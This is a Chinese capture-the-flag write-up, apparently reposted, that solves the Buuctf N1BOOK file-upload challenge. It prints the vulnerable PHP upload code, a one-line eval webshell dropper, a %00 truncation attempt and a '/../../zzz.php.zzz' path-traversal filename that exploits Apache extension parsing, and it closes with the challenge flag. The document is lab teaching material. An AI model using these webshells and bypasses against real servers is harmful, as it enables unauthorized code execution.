Buuctf N1BOOK [第二章 web进阶]文件上传
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Buuctf N1BOOK [第二章 web进阶]文件上传相关的知识,希望对你有一定的参考价值。
Buuctf [第二章 web进阶]文件上传
打开题目,发现源代码泄露,初步判断为条件竞争
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
if(!$_FILES){
echo '
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>文件上传章节练习题</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<style type="text/css">
.login-box{
margin-top: 100px;
height: 500px;
border: 1px solid #000;
}
body{
background: white;
}
.btn1{
width: 200px;
}
.d1{
display: block;
height: 400px;
}
</style>
</head>
<body>
<div class="container">
<div class="login-box col-md-12">
<form class="form-horizontal" method="post" enctype="multipart/form-data" >
<h1>文件上传章节练习题</h1>
<hr />
<div class="form-group">
<label class="col-sm-2 control-label">选择文件:</label>
<div class="input-group col-sm-10">
<div >
<label for="">
<input type="file" name="file" />
</label>
</div>
</div>
</div>
<div class="col-sm-8 text-right">
<input type="submit" class="btn btn-success text-right btn1" />
</div>
</form>
</div>
</div>
</body>
</html>
';
show_source(__FILE__);
}else{
$file = $_FILES['file'];
if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1)); //strrch()函数查找字符串在另一个字符串最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
$path = $dir.$name;
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
if(!is_dir($dir)){
mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}
先创建一个1.php文件,代码如下
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>');
?>
当1.php上传成功后,客户端立即访问1.php,则会在服务端当前目录下自动生成shell.php,这时并可以利用时间差完成WebShell
提示说只能上传,zip,jpg,jif,png文件,尝试修改后缀名绕过
%00截断绕过成功,尝试访问
上传成功之后,访问测试总是失败
重新测试了1.php.jpg,同样回显成功,可是依旧访问不上
回显的是文件上传成功,可是总是访问不上,难受
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
我们上传的路径目录是upload/随机值/上传的文件,所以我们需要文件名为/../../file.php
,由于需要构造解析,利用apache的解析漏洞,如果从右开始,直到哪个识别就解析哪个,构造最终文件名为/../../zzz.php.zzz
,这个文件名长度为18位
http://d8beed91-af7c-46e3-8dcf-b8b00bf009ac.node4.buuoj.cn:81/zzz.php.zzz
n1book{ThisIsUpLoadToPicfl4g}
参考链接:https://blog.csdn.net/zy15667076526/article/details/114139749
以上是关于Buuctf N1BOOK [第二章 web进阶]文件上传的主要内容,如果未能解决你的问题,请参考以下文章
buuctf 刷题记录 [第二章 web进阶]SSRF Training